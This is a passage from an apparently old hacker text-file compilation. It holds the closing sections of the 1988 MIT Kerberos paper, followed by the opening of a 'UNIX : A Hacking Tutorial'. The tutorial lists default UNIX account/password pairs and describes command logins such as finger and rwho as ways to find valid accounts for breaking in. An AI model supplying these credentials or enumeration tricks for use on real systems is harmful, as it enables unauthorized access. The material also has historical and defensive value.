  7584. the administrator must arrange that  the  programs  to  pro-
  7585. pagate  database updates from master to slaves be kicked off
  7586. periodically.
  7587.  
  7588.  
  7589.                        March 30, 1988
  7590.  
  7591.  
  7592.  
  7593.  
  7594.  
  7595.  
  7596.                            - 20 -
  7597.  
  7598.  
  7599.      After these initial steps have been taken, the adminis-
  7600. trator  manipulates the database over the network, using the
  7601. kadmin program.  Through that program, new principals can be
  7602. added, and passwords can be changed.
  7603.  
  7604.      In particular, when a new Kerberos application is added
  7605. to  the  system,  the Kerberos administrator must take a few
  7606. steps to get it working.  The server must be  registered  in
  7607. the database, and assigned a private key (usually this is an
  7608. automatically  generated  random  key).   Then,  some   data
  7609. (including  the  server's  key)  must  be extracted from the
  7610. database and installed in a file on  the  server's  machine.
  7611. The  default  file  is  /etc/srvtab.  The krb_rd_req library
  7612. routine called by the server (see the previous section) uses
  7613. the  information  in  that  file  to  decrypt  messages sent
  7614. encrypted in the server's private key.  The /etc/srvtab file
  7615. authenticates  the  server as a password typed at a terminal
  7616. authenticates the user.
  7617.  
  7618.      The Kerberos administrator must also ensure  that  Ker-
  7619. beros machines are physically secure, and would also be wise
  7620. to maintain backups of the Master database.[8]
  7621.  
  7622. 7.  The Bigger Picture
  7623.  
  7624.      In this section, we describe how Kerberos fits into the
  7625. Athena  environment, including its use by other network ser-
  7626. vices and applications, and how  it  interacts  with  remote
  7627. Kerberos  realms.   For  a  more complete description of the
  7628. Athena environment, please see G. W. Treese.[9]
  7629.  
  7630. 7.1.  Other Network Services' Use of Kerberos
  7631.  
  7632.      Several network applications have been modified to  use
  7633. Kerberos.   The rlogin and rsh commands first try to authen-
  7634. ticate using Kerberos.  A user with valid  Kerberos  tickets
  7635. can  rlogin  to another Athena machine without having to set
  7636. up .rhosts files.  If the Kerberos authentication fails, the
  7637. programs  fall back on their usual methods of authorization,
  7638. in this case, the .rhosts files.
  7639.  
  7640.      We have modified the Post Office Protocol to  use  Ker-
  7641. beros  for  authenticating  users who wish to retrieve their
  7642. electronic  mail  from  the  ``post  office''.   A   message
  7643. delivery program, called Zephyr, has been recently developed
  7644. at Athena,  and  it  uses  Kerberos  for  authentication  as
  7645. well.[10]
  7646.  
  7647.      The program for signing up new users, called  register,
  7648. uses  both  the Service Management System (SMS)[11] and Ker-
  7649. beros.  From SMS,  it  determines  whether  the  information
  7650. entered  by  the  would-be new Athena user, such as name and
  7651. MIT identification number, is valid.  It  then  checks  with
  7652. Kerberos to see if the requested username is unique.  If all
  7653.  
  7654.  
  7655.                        March 30, 1988
  7656.  
  7657.  
  7658.  
  7659.  
  7660.  
  7661.                            - 21 -
  7662.  
  7663.  
  7664. goes well, a new entry is made  to  the  Kerberos  database,
  7665. containing the username and password.
  7666.  
  7667.      For a detailed discussion of the  use  of  Kerberos  to
  7668. secure Sun's Network File System, please refer to the appen-
  7669. dix.
  7670.  
  7671. 7.2.  Interaction with Other Kerberi
  7672.  
  7673.      It is expected that different administrative  organiza-
  7674. tions will want to use Kerberos for user authentication.  It
  7675. is also expected that in many cases, users in one  organiza-
  7676. tion  will  want  to use services in another.  Kerberos sup-
  7677. ports multiple administrative domains.  The specification of
  7678. names  in  Kerberos includes a field called the realm.  This
  7679. field contains the name of the administrative domain  within
  7680. which the user is to be authenticated.
  7681.  
  7682.      Services are usually registered in a single  realm  and
  7683. will  only  accept  credentials  issued by an authentication
  7684. server for that realm.  A user is usually  registered  in  a
  7685. single  realm  (the  local  realm),  but  it is possible for
  7686. her/him to obtain credentials issued by another  realm  (the
  7687. remote  realm),  on  the strength of the authentication pro-
  7688. vided by the local realm.  Credentials  valid  in  a  remote
  7689. realm  indicate  the  realm in which the user was originally
  7690. authenticated.  Services in  the  remote  realm  can  choose
  7691. whether  to honor those credentials, depending on the degree
  7692. of security required and the level of  trust  in  the  realm
  7693. that initially authenticated the user.
  7694.  
  7695.      In order to perform cross-realm authentication,  it  is
  7696. necessary  that  the  administrators  of each pair of realms
  7697. select a key to be shared between their realms.  A  user  in
  7698. the  local  realm  can then request a ticket-granting ticket
  7699. from the local authentication server for the ticket-granting
  7700. server  in  the remote realm.  When that ticket is used, the
  7701. remote ticket-granting server recognizes that the request is
  7702. not from its own realm, and it uses the previously exchanged
  7703. key to decrypt the ticket-granting ticket.  It then issues a
  7704. ticket as it normally would, except that the realm field for
  7705. the client contains the name  of  the  realm  in  which  the
  7706. client was originally authenticated.
  7707.  
  7708.      This approach could be extended to allow one to authen-
  7709. ticate oneself through a series of realms until reaching the
  7710. realm with the  desired  service.   In  order  to  do  this,
  7711. though, it would be necessary to record the entire path that
  7712. was taken, and not just the name of  the  initial  realm  in
  7713. which  the user was authenticated.  In such a situation, all
  7714. that is known by the server is that A says that B says  that
  7715. C  says that the user is so-and-so.  This statement can only
  7716. be trusted if everyone along the path is also trusted.
  7717.  
  7718.  
  7719.  
  7720.                        March 30, 1988
  7721.  
  7722.  
  7723.  
  7724.  
  7725.  
  7726.                            - 22 -
  7727.  
  7728.  
  7729. 8.  Issues and Open Problems
  7730.  
  7731.      There are a number of issues and open problems  associ-
  7732. ated with the Kerberos authentication mechanism.   Among the
  7733. issues are how to decide the correct lifetime for a  ticket,
  7734. how  to  allow  proxies,  and  how  to guarantee workstation
  7735. integrity.
  7736.  
  7737.      The ticket lifetime problem is a matter of choosing the
  7738. proper  tradeoff  between  security and convenience.  If the
  7739. life of a ticket is long, then if a ticket and  its  associ-
  7740. ated  session  key are stolen or misplaced, they can be used
  7741. for a longer period of time.  Such information can be stolen
  7742. if  a  user  forgets  to  log  out  of a public workstation.
  7743. Alternatively, if a user has been authenticated on a  system
  7744. that allows multiple users, another user with access to root
  7745. might be able to find the information needed to  use  stolen
  7746. tickets.  The problem with giving a ticket a short lifetime,
  7747. however, is that when it expires,  the  user  will  have  to
  7748. obtain  a new one which requires the user to enter the pass-
  7749. word again.
  7750.  
  7751.      An open problem is  the  proxy  problem.   How  can  an
  7752. authenticated  user  allow a server to acquire other network
  7753. services on her/his behalf?  An example where this would  be
  7754. important  is  the use of a service that will gain access to
  7755. protected files directly from a fileserver.  Another example
  7756. of  this  problem is what we call authentication forwarding.
  7757. If a user is logged into a workstation  and  logs  in  to  a
  7758. remote  host, it would be nice if the user had access to the
  7759. same services available locally, while running a program  on
  7760. the remote host.  What makes this difficult is that the user
  7761. might not trust the remote host,  thus  authentication  for-
  7762. warding  is not desirable in all cases.  We do not presently
  7763. have a solution to this problem.
  7764.  
  7765.      Another problem, and  one  that  is  important  in  the
  7766. Athena environment, is how to guarantee the integrity of the
  7767. software running on a workstation.  This is not so much of a
  7768. problem  on private workstations since the user that will be
  7769. using it has control over it.  On public workstations,  how-
  7770. ever,  someone  might have come along and modified the login
  7771. program to save the  user's  password.   The  only  solution
  7772. presently  available in our environment is to make it diffi-
  7773. cult for people to modify software  running  on  the  public
  7774. workstations.   A  better  solution  would  require that the
  7775. user's key never leave a system that the user knows  can  be
  7776. trusted.   One  way  this could be done would be if the user
  7777. possessed a  smartcard  capable  of  doing  the  encryptions
  7778. required in the authentication protocol.
  7779.  
  7780.  
  7781.  
  7782.  
  7783.  
  7784.  
  7785.                        March 30, 1988
  7786.  
  7787.  
  7788.  
  7789.  
  7790.  
  7791.  
  7792.                            - 23 -
  7793.  
  7794.  
  7795. 9.  Status
  7796.  
  7797.      A prototype version of Kerberos went into production in
  7798. September of 1986.  Since January of 1987, Kerberos has been
  7799. Project Athena's sole  means  of  authenticating  its  5,000
  7800. users,  650 workstations, and 65 servers.  In addition, Ker-
  7801. beros is now being used in place of .rhosts files  for  con-
  7802. trolling access in several of Athena's timesharing systems.
  7803.  
  7804. 10.  Acknowledgements
  7805.  
  7806.      Kerberos was initially designed  by  Steve  Miller  and
  7807. Clifford  Neuman  with  suggestions  from  Jeff Schiller and
  7808. Jerry Saltzer.  Since that time, numerous other people  have
  7809. been  involved with the project.  Among them are Jim Aspnes,
  7810. Bob Baldwin, John Barba,  Richard  Basch,  Jim  Bloom,  Bill
  7811. Bryant,  Mark  Colan,  Rob French, Dan Geer, John Kohl, John
  7812. Kubiatowicz, Bob Mckie, Brian Murphy, John Ostlund Ken  Rae-
  7813. burn,  Chris  Reed,  Jon Rochlis, Mike Shanzer, Bill Sommer-
  7814. feld, Ted T'so, Win Treese, and Stan Zanarotti.
  7815.  
  7816.      We are grateful to Dan Geer, Kathy Lieben, Josh Lubarr,
  7817. Ken Raeburn, Jerry Saltzer, Ed Steiner, Robbert van Renesse,
  7818. and Win  Treese  whose  suggestions  much  improved  earlier
  7819. drafts of this paper.
  7820.  
  7821.      The illustration on the title page is by  Betsy  Bruem-
  7822. mer.
  7823.  
  7824.                        March 30, 1988
  7825.  
  7826.  
  7827.  
  7828.                            - 24 -
  7829.  
  7830.  
  7831.                           Appendix
  7832.  
  7833.  
  7834.   Kerberos Application to SUN's Network File System (NFS)
  7835.  
  7836.  
  7837.  
  7838.      A key component of the Project Athena workstation  sys-
  7839. tem  is  the  interposing  of the network between the user's
  7840. workstation and her/his private file  storage  (home  direc-
  7841. tory).   All  private  storage resides on a set of computers
  7842. (currently VAX 11/750s) that are dedicated to this  purpose.
  7843. This  allows us to offer services on publicly available UNIX
  7844. workstations.  When a user logs in to one of these  publicly
  7845. available  workstations,  rather  then validate her/his name
  7846. and password against a locally resident  password  file,  we
  7847. use  Kerberos  to determine her/his authenticity.  The login
  7848. program prompts for a username  (as  on  any  UNIX  system).
  7849. This  username  is  used to fetch a Kerberos ticket-granting
  7850. ticket.  The login program uses the password to  generate  a
  7851. DES  key  for  decrypting the ticket.  If decryption is suc-
  7852. cessful, the user's home directory is located by  consulting
  7853. the  Hesiod  naming  service  and  mounted through NFS.  The
  7854. login program then turns control over to the  user's  shell,
  7855. which  then  can  run the traditional per-user customization
  7856. files because the home directory is now ``attached'' to  the
  7857. workstation.   The  Hesiod service is also used to construct
  7858. an entry in the local password file.  (This is for the bene-
  7859. fit of programs that look up information in /etc/passwd.)
  7860.  
  7861.      From several options for delivery of remote  file  ser-
  7862. vice, we chose SUN's Network File System.  However this sys-
  7863. tem fails to mesh with our needs  in  a  crucial  way.   NFS
  7864. assumes  that  all workstations fall into two categories (as
  7865. viewed from a file server's point  of  view):   trusted  and
  7866. untrusted.   Untrusted  systems  cannot  access any files at
  7867. all, trusted can.  Trusted systems are  completely  trusted.
  7868. It  is  assumed that a trusted system is managed by friendly
  7869. management.  Specifically, it is  possible  from  a  trusted
  7870. workstation to masquerade as any valid user of the file ser-
  7871. vice system and thus gain access to just about every file on
  7872. the system.  (Only files owned by ``root'' are exempted.)
  7873.  
  7874.      In our environment, the management of a workstation (in
  7875. the  traditional  sense of UNIX system management) is in the
  7876. hands of the user currently using it.  We make no secret  of
  7877. the  root password on our workstations, as we realize that a
  7878. truly unfriendly user can break in by  the  very  fact  that
  7879. s/he is sitting in the same physical location as the machine
  7880. and has access to all console functions.  Therefore we  can-
  7881. not  truly  trust our workstations in the NFS interpretation
  7882. of trust.  To allow proper access controls in  our  environ-
  7883. ment  we  had  to  make  some  modifications to the base NFS
  7884.  
  7885.  
  7886.  
  7887.                        March 30, 1988
  7888. software, and integrate Kerberos into the scheme.
  7889.  
  7890.  
  7891.  
  7892.  
  7893.  
  7894.                            - 25 -
  7895.  
  7896.  
  7897. Unmodified NFS
  7898.  
  7899.      In the implementation of NFS that we started with (from
  7900. the University of Wisconsin), authentication was provided in
  7901. the form of a piece of data included  in  each  NFS  request
  7902. (called  a ``credential'' in NFS terminology).  This creden-
  7903. tial contains information about the unique  user  identifier
  7904. (UID)  of  the requester and a list of the group identifiers
  7905. (GIDs) of the requester's membership.  This  information  is
  7906. then  used  by  the  NFS  server  for  access checking.  The
  7907. difference between a trusted and a  non-trusted  workstation
  7908. is  whether  or  not its credentials are accepted by the NFS
  7909. server.[12]
  7910.  
  7911. Modified NFS
  7912.  
  7913.      In our environment, NFS servers must accept credentials
  7914. from  a  workstation if and only if the credentials indicate
  7915. the UID of the workstation's user, and no other.
  7916.  
  7917.      One obvious solution would be to change the  nature  of
  7918. credentials  from  mere  indicators  of UID and GIDs to full
  7919. blown Kerberos authenticated data.   However  a  significant
  7920. performance  penalty  would  be  paid  if this solution were
  7921. adopted.  Credentials are exchanged on every  NFS  operation
  7922. including  all  disk read and write activities.  Including a
  7923. Kerberos authentication on each disk transaction would add a
  7924. fair number of full-blown encryptions (done in software) per
  7925. transaction and, according  to  our  envelope  calculations,
  7926. would  have  delivered  unacceptable performance.  (It would
  7927. also have required placing the Kerberos library routines  in
  7928. the kernel address space.)
  7929.  
  7930.      We needed a  hybrid  approach,  described  below.   The
  7931. basic  idea  is  to  have  the  NFS  server  map credentials
  7932. received from client workstations, to a valid (and  possibly
  7933. different) credential on the server system.  This mapping is
  7934. performed in the server's kernel on each NFS transaction and
  7935. is  setup  at  ``mount''  time  by a user-level process that
  7936. engages  in  Kerberos-  moderated  authentication  prior  to
  7937. establishing a valid kernel credential mapping.
  7938.  
  7939.      To implement this we added a new  system  call  to  the
  7940. kernel  (required only on server systems, not on client sys-
  7941. tems) that provides for the control of the mapping  function
  7942. that  maps  incoming credentials from client workstations to
  7943. credentials valid for use on the server (if any).  The basic
  7944. mapping function maps the tuple:
  7945.  
  7946.              <CLIENT-IP-ADDRESS, UID-ON-CLIENT>
  7947.  
  7948. to a  valid  NFS  credential  on  the  server  system.   The
  7949. CLIENT-IP-ADDRESS  is  extracted from the NFS request packet
  7950. and the  UID-ON-CLIENT  is  extracted  from  the  credential
  7951.  
  7952.  
  7953.                        March 30, 1988
  7954. supplied by the client system.  Note: all information in the
  7955. client-generated credential except the UID-ON-CLIENT is dis-
  7956. carded.
  7957.  
  7958.  
  7959.  
  7960.                            - 26 -
  7961.  
  7962.  
  7963.      If no mapping exists, the server reacts in one  of  two
  7964. ways,  depending  it  is configured.  In our friendly confi-
  7965. guration we default the unmappable requests into the creden-
  7966. tials  for  the user ``nobody'' who has no privileged access
  7967. and has a unique UID.   Unfriendly  servers  return  an  NFS
  7968. access  error  when  no  valid  mapping  can be found for an
  7969. incoming NFS credential.
  7970.  
  7971.      Our new system call is used to add and  delete  entries
  7972. from  the kernel resident map.  It also provides the ability
  7973. to flush all entries that map  to  a  specific  UID  on  the
  7974. server   system,   or   flush   all  entries  from  a  given
  7975. CLIENT-IP-ADDRESS.
  7976.  
  7977.      We modified the mount daemon (which handles  NFS  mount
  7978. requests  on  server  systems)  to  accept a new transaction
  7979. type, the Kerberos authentication  mapping  request.   Basi-
  7980. cally,  as  part  of the mounting process, the client system
  7981. provides a Kerberos authenticator along with  an  indication
  7982. of  her/his UID-ON-CLIENT (encrypted in the Kerberos authen-
  7983. ticator) on the workstation.  The server's mount daemon con-
  7984. verts  the  Kerberos  principal  name into a local username.
  7985. This username is then looked up in a special file  to  yield
  7986. the  user's UID and GIDs list.  For efficiency, this file is
  7987. a ndbm database file with the username  as  the  key.   From
  7988. this  information,  an  NFS  credential  is  constructed and
  7989. handed  to  the  kernel  as  the  valid   mapping   of   the
  7990. <CLIENT-IP-ADDRESS, CLIENT-UID> tuple for this request.
  7991.  
  7992.      At unmount time a request is sent to the  mount  daemon
  7993. to  remove the previously added mapping from the kernel.  It
  7994. is also possible to send a request at logout time to invali-
  7995. date all mapping for the current user on the server in ques-
  7996. tion, thus cleaning up any  remaining  mappings  that  exist
  7997. (though  they  shouldn't)  before  the  workstation  is made
  7998. available for the next user.
  7999.  
  8000. Security Implications of the Modified NFS
  8001.  
  8002.      This implementation  is  not  completely  secure.   For
  8003. starters,  user  data is still sent across the network in an
  8004. unencrypted, and therefore interceptable,  form.   The  low-
  8005. level,   per-transaction   authentication   is  based  on  a
  8006. <CLIENT-IP-ADDRESS, CLIENT-UID> pair provided unencrypted in
  8007. the  request  packet.   This information could be forged and
  8008. thus security compromised.  However, it should be noted that
  8009. only  while  a  user  is actively using her/his files (i.e.,
  8010. while logged in) are valid mappings in place  and  therefore
  8011. this  form of attack is limited to when the user in question
  8012. is logged in.  When a user is not logged in, no amount of IP
  8013. address  forgery  will permit unauthorized access to her/his
  8014. files.
  8015.  
  8016.  
  8017.  
  8018.  
  8019.                        March 30, 1988
  8020. References
  8021.  
  8022.  
  8023.  
  8024.  
  8025.  
  8026.                            - 27 -
  8027.  
  8028.  
  8029. 1.   S. P. Miller, B. C. Neuman, J. I. Schiller, and  J.  H.
  8030.      Saltzer,  Section  E.2.1:  Kerberos  Authentication and
  8031.      Authorization System, M.I.T. Project Athena, Cambridge,
  8032.      Massachusetts (December 21, 1987).
  8033.  
  8034. 2.   E. Balkovich, S. R. Lerman, and R. P.  Parmelee,  "Com-
  8035.      puting  in  Higher  Education:  The Athena Experience,"
  8036.      Communications of the ACM, Vol. 28(11),  pp. 1214-1224,
  8037.      ACM (November, 1985).
  8038.  
  8039. 3.   R. M. Needham and M. D.  Schroeder,  "Using  Encryption
  8040.      for  Authentication  in  Large  Networks of Computers,"
  8041.      Communications of the  ACM,  Vol.  21(12),  pp. 993-999
  8042.      (December, 1978).
  8043.  
  8044. 4.   V. L. Voydock and S. T. Kent, "Security  Mechanisms  in
  8045.      High-Level  Network Protocols," Computing Surveys, Vol.
  8046.      15(2), ACM (June 1983).
  8047.  
  8048. 5.   National Bureau of Standards,  "Data  Encryption  Stan-
  8049.      dard,"  Federal Information Processing Standards Publi-
  8050.      cation 46,  Government  Printing  Office,   Washington,
  8051.      D.C. (1977).
  8052.  
  8053. 6.   S. P. Dyer, "Hesiod," in Usenix Conference  Proceedings
  8054.      (Winter, 1988).
  8055.  
  8056. 7.   W. J. Bryant, Kerberos  Programmer's  Tutorial,  M.I.T.
  8057.      Project Athena (In preparation).
  8058.  
  8059. 8.   W. J. Bryant, Kerberos Administrator's  Manual,  M.I.T.
  8060.      Project Athena (In preparation).
  8061.  
  8062. 9.   G. W. Treese,  "Berkeley  Unix  on  1000  Workstations:
  8063.      Athena   Changes   to  4.3BSD,"  in  Usenix  Conference
  8064.      Proceedings (Winter, 1988).
  8065.  
  8066. 10.  C. A. DellaFera, M. W. Eichin, R. S. French, D. C. Jed-
  8067.      linsky,  J.  T. Kohl, and W. E. Sommerfeld, "The Zephyr
  8068.      Notification System," in Usenix Conference  Proceedings
  8069.      (Winter, 1988).
  8070.  
  8071. 11.  M. A. Rosenstein, D. E. Geer,  and  P.  J.  Levine,  in
  8072.      Usenix Conference Proceedings (Winter, 1988).
  8073.  
  8074. 12.  R. Sandberg, D. Goldberg, S. Kleiman, D. Walsh, and  B.
  8075.      Lyon,  "Design  and  Implementation  of the Sun Network
  8076.      Filesystem," in Usenix Conference Proceedings  (Summer,
  8077.      1985).
  8078.  
  8079.                        March 30, 1988
  8080. =============================================================================
  8081.  
  8082.                       /                             /
  8083.                       /      File 06 / NIA070       /
  8084.                       /  UNIX : A Hacking Tutorial  /
  8085.                       /    Sir Hackalot [PHAZE]     /
  8086.                       /                             /
  8087.  
  8088. [Editor's Note: This was an independant file that was release some time
  8089.  ago, but after talking with Sir Hackalot he gave us the go-ahead of
  8090.  putting it in this issue under NIA for the people that have not gotten
  8091.  it as an induvidual file.]
  8092.  
  8093. ----------------------
  8094. o Intent of this file:
  8095. ----------------------
  8096.  
  8097.      This phile is geared as an UNIX tutorial at first, to let you get more
  8098. familiar with the operating system.  UNIX is just an operating system, as
  8099. is MS-DOS, AppleDOS, AmigaDOS, and others.  UNIX happens to be a multi-user-
  8100. multi-tasking system, thus bringing a need for security not found on MSDOS,
  8101. AppleDOS, etc.  This phile will hopefully teach the beginners who do not have
  8102. a clue about how to use UNIX a good start, and may hopefully teach old pros
  8103. something they didn't know before.  This file deals with UNIX SYSTEM V and
  8104. its variants.  When I talk about unix, its usually about SYSTEM V (rel 3.2).
  8105.  
  8106. Where Can I be found?  I have no Idea.  The Boards today are going Up'n'Down
  8107. so fast, 3 days after you read this file, if I put a BBS in it where you could
  8108. reach me, it may be down!  Just look for me.
  8109.  
  8110. I can be reached on DarkWood Castle [If it goes back up], but that board
  8111. is hard to get access on, but I decided to mention it anyway.
  8112.  
  8113. I *COULD* Have been reached on jolnet, but......
  8114.  
  8115. This file may have some bad spelling, etc, or discrepencies since it was
  8116. spread out over a long time of writing, because of school, work, Girl friend,
  8117. etc.  Please, no flames.  If you don't like this file, don't keep it.
  8118.  
  8119. This is distributed under PHAZE Inc.  Here are the members (and ex ones)
  8120. The Dark Pawn
  8121. The Data Wizard
  8122. Sir Hackalot (Me)
  8123. Taxi (ummm.. Busted)
  8124. Lancia (Busted)
  8125. The British Knight (Busted)
  8126. The Living Pharoah (Busted)
  8127.  
  8128. _____________________________________________________________________________
  8129.  
  8130.  
  8131. -------------
  8132. o Dedication:
  8133. -------------
  8134.         This phile is dedicated to the members of LOD that were raided in
  8135. Atlanta.  The members that got busted were very good hackers, especially
  8136. The Prophet. Good luck to you guys, and I hope you show up again somewhere.
  8137. _____________________________________________________________________________
  8138.  
  8139. ------------------------
  8140. o A little History, etc:
  8141. ------------------------
  8142.  
  8143.         UNIX, of course, was invented By AT&T in the 60's somewhere, to be
  8144. "a programmer's operating system."  While that goal was probably not reached
  8145. when they first invented UNIX, it seems that now, UNIX is a programmer's OS.
  8146. UNIX, as I have said before, is a multi-tasking/multi-user OS.  It is also
  8147. written in C, or at least large parts of it are, thus making it a portable
  8148. operating system.  We know that MSDOS corresponds to IBM/clone machines,
  8149. right?  Well, this is not the case with UNIX.  We do not associate it with
  8150. any one computer since it has been adapted for many, and there are many
  8151. UNIX variants [that is, UNIX modified by a vendor, or such].  Some AT&T
  8152. computers run it, and also some run MSDOS [AT&T 6300].  The SUN workstations
  8153. run SunOS, a UNIX variant, and some VAX computers run Ultrix, a VAX version
  8154. of UNIX.  Remember, no matter what the name of the operating system is [BSD,
  8155. UNIX,SunOS,Ultrix,Xenix, etc.], they still have a lot in common, such as the
  8156. commands the operating system uses.  Some variants may have features others
  8157. do not, but they are basically similar in that they have a lot of the same
  8158. commands/datafiles.  When someone tries to tell you that UNIX goes along with
  8159. a certain type of computer, they may be right, but remember, some computers
  8160. have more than one Operating system.  For instance, one person may tell you
  8161. that UNIX is to a VAX as MSDOS is to IBM/clones.  That is untrue, and the
  8162. only reason I stated that, was because I have seen many messages with info
  8163. /comparisons in it like that, which confuse users when they see a VAX running
  8164. VMS.
  8165. ____________________________________________________________________________
  8166.  
  8167.  
  8168. -------------------------------
  8169. o Identifying a Unix/Logging in
  8170. -------------------------------
  8171.  
  8172.         From now on, I will be referring to all the UNIX variants/etc as
  8173. UNIX, so when I say something about UNIX, it generally means all the variants
  8174. (Unix System V variants that is: BSD, SunOS, Ultrix, Xenix, etc.), unless
  8175. I state a variant in particular.
  8176.  
  8177.         Okay.  Now its time for me to tell you how a unix USUALLY greets you.
  8178. First, when you call up a UNIX, or connect to one however you do, you will
  8179. usually get this prompt:
  8180.  
  8181. login:
  8182.  
  8183. Ok.  Thats all fine and dandy.  That means that this is PROBABLY a Unix,
  8184. although there are BBS's that can mimic the login procedure of an OS
  8185. (Operating System), thus making some people believe its a Unix. [Hah!].
  8186. Some Unixes will tell you what they are or give you a message before a
  8187. login:  prompt, as such:
  8188.  
  8189. Welcome to SHUnix.  Please log in.
  8190.  
  8191. login:
  8192.  
  8193.         Or something like that.  Public access Unixes [like Public BBSs] will
  8194. tell you how to logon if you are a new users.  Unfortunatly, this phile is
  8195. not about public access Unixes, but I will talk about them briefly later, as
  8196. a UUCP/UseNet/Bitnet address for mail.
  8197.         OK.  You've gotten to the login prompt!  Now, what you need to do
  8198. here is enter in a valid account.  An Account usually consists of 8 characters
  8199. or less.  After you enter in an account, you will probably get a password
  8200. prompt of some sort.  The prompts may vary, as the source code to the login
  8201. program is usually supplied with UNIX, or is readily available for free.
  8202. Well, The easiest thing I can say to do to login is basically this:
  8203. Get an account, or try the defaults.  The defaults are ones that came with
  8204. the operating system, in standard form.  The list of some of the Defaults
  8205. are as follows:
  8206.  
  8207. ACCOUNT                         PASSWORD
  8208. -------                         --------
  8209. root                            root      - Rarely open to hackers
  8210. sys                             sys / system / bin
  8211. bin                             sys / bin
  8212. mountfsys                       mountfsys
  8213. adm                             adm
  8214. uucp                            uucp
  8215. nuucp                           anon
  8216. anon                            anon
  8217. user                            user
  8218. games                           games
  8219. install                         install
  8220. reboot                            * See Below
  8221. demo                            demo
  8222. umountfsys                      umountfsys
  8223. sync                            sync
  8224. admin                           admin
  8225. guest                           guest
  8226. daemon                          daemon
  8227.  
  8228. The accounts root, mountfsys, umountfsys, install, and sometimes sync are
  8229. root level accounts, meaning they have sysop power, or total power.  Other
  8230. logins are just "user level" logins meaning they only have power over what
  8231. files/processes they own.  I'll get into that later, in the file permissions
  8232. section.  The REBOOT login is what as known as a command login, which just
  8233. simply doesn't let you into the operating system, but executes a program
  8234. assigned to it.  It usually does just what it says, reboot the system.  It
  8235. may not be standard on all UNIX systems, but I have seen it on  UNISYS unixes
  8236. and also HP/UX systems [Hewlett Packard Unixes].  So far, these accounts have
  8237. not been passworded [reboot], which is real stupid, if you ask me.
  8238.  
  8239. COMMAND LOGINS:
  8240. ---------------
  8241.  
  8242. There are "command logins", which, like reboot, execute a command then log
  8243. you off instead of letting you use the command interpreter. BSD is notorious
  8244. for having these, and concequently, so does MIT's computers. Here are some:
  8245.  
  8246. rwho - show who is online
  8247. finger - same
  8248. who - same
  8249.  
  8250. These are the most useful, since they will give the account names that are
  8251. online, thus showing you several accounts that actually exist.
  8252.  
  8253.  
  8254. Errors:
  8255. -------
  8256.  
  8257. When you get an invalid Account name / invalid password, or both, you will
  8258. get some kind of error.  Usually it is the "login incorrect" message.  When
  8259. the computer tells you that, you have done something wrong by either enterring
  8260. an invalid account name, or a valid account name, but invalid password.  It
  8261. does not tell you which mistake you made, for obvious reasons.  Also,
  8262. when you login incorrectly, the error log on the system gets updated, letting
  8263. the sysops(s) know something is amiss.
  8264.  
  8265.         Another error is "Cannot change to home directory" or "Cannot Change
  8266. Directory."  This means that no "home directory" which is essentially the
  8267. 'root' directory for an account, which is the directory you start off in.
  8268. On DOS, you start in A:\ or C:\ or whatever, but in UNIX you start in
  8269. /homedirectory.  [Note: The / is used in directories on UNIX, not a \ ].
  8270. Most systems will log you off after this, but some tell you that they will
  8271. put you in the root directory [ '/'].
  8272.  
  8273.         Another error is "No Shell".  This means that no "shell" was defined
  8274. for that particular account.  The "shell" will be explained later.  Some
  8275. systems will log you off after this message.  Others will tell you that they
  8276. will use the regular shell, by saying "Using the bourne shell", or "Using sh"
  8277.  
  8278. -----------------------------
  8279. Accounts In General        :
  8280. -----------------------------
  8281.  
  8282.         This section is to hopefully describe to you the user structure
  8283. in the UNIX environment.
  8284.         Ok, think of UNIX having two levels of security: absolute power,
  8285. or just a regular user.  The ones that have absolute power are those users
  8286. at the root level.  Ok, now is the time to think in numbers.  Unix associates
  8287. numbers with account names.  each account will have a number.  Some will have
  8288. the same number.  That number is the UID [user-id] of the account.  the root
  8289. user id is 0.  Any account that has a user id of 0 will have root access.
  8290. Unix does not deal with account names (logins) but rather the number
  8291. associated with them.  for instance, If my user-id is 50, and someone else's
  8292. is 50, with both have absolute power of each other, but no-one else.
  8293. _____________________________________________________________________________
  8294.  
  8295. ---------------
  8296. Shells        :
  8297. ---------------
  8298.  
  8299.         A shell is an executable program which loads and runs when a user
  8300. logs on, and is in the foreground.  This "shell" can be any executable prog-
  8301. ram, and it is defined in the "passwd" file which is the userfile.  Each
  8302. login can have a unique "shell".  Ok.  Now the shell that we usually will work
  8303. with is a command interpreter.  A command interpreter is simply something
  8304. like MSDOS's COMMAND.COM, which processes commands, and sends them to the
  8305. kernel [operating system].  A shell can be anything, as I said before,
  8306. but the one you want to have is a command interpreter.  Here are the
  8307. usual shells you will find:
  8308.  
  8309. sh - This is the bourne shell. It is your basic Unix "COMMAND.COM".  It has
  8310.      a "script" language, as do most of the command interpreters on Unix sys-
  8311.      tems.
  8312.  
  8313. csh - This is the "C" shell, which will allow you to enter "C" like commands.
  8314. ksh - this is the korn shell.  Just another command interpreter.
  8315. tcsh - this is one, which is used at MIT I believe.  Allows command editing.
  8316. vsh - visual shell.  It is a menu driven deal.  Sorta like.. Windows for DOS
  8317. rsh - restricted shell OR remote shell.  Both Explained later.
  8318.         There are many others, including "homemade " shells, which are
  8319. programs written by the owner of a unix, or for a specific unix, and they
  8320. are not standard.  Remember, the shell is just the program you get to use
  8321. and when it is done executing, you get logged off.  A good example of a
  8322. homemade shell is on Eskimo North, a public access Unix.  The shell
  8323. is called "Esh", and it is just something like a one-key-press BBS,
  8324. but hey, its still a shell.  The Number to eskimo north is 206-387-3637.
  8325. [206-For-Ever]. If you call there, send Glitch Lots of mail.
  8326.         Several companies use Word Processors, databases, and other things
  8327. as a user shell, to prevent abuse, and make life easier for unskilled computer
  8328. operators.  Several Medical Hospitals use this kind of shell in Georgia,
  8329. and fortunatly, these second rate programs leave major holes in Unix.
  8330. Also, a BBS can be run as a shell.  Check out Jolnet [312]-301-2100, they
  8331. give you a choice between a command interpreter, or a BBS as a shell.
  8332. WHen you have a command interpreter, the prompt is usually a:
  8333.  $
  8334. when you are a root user the prompt is usually a:
  8335.  #
  8336. The variable, PS1, can be set to hold a prompt.
  8337. For instance, if PS1 is "HI:", your prompt will be:
  8338.  HI:
  8339.  
  8340. _____________________________________________________________________________
  8341.  
  8342. ------------------------
  8343. SPecial Characters, ETc:
  8344. ------------------------
  8345.  
  8346. Control-D : End of file.  When using mail or a text editor, this will end
  8347. the message or text file.  If you are in the shell and hit control-d you get
  8348. logged off.
  8349.  
  8350. Control-J: On some systems, this is like the enter key.
  8351. @ : Is sometimes a "null"
  8352. ? : This is a wildcard.  This can represent a letter. If you specified
  8353.    something at the command line like "b?b" Unix would look for bob,bib,bub,
  8354.    and every other letter/number between a-z, 0-9.
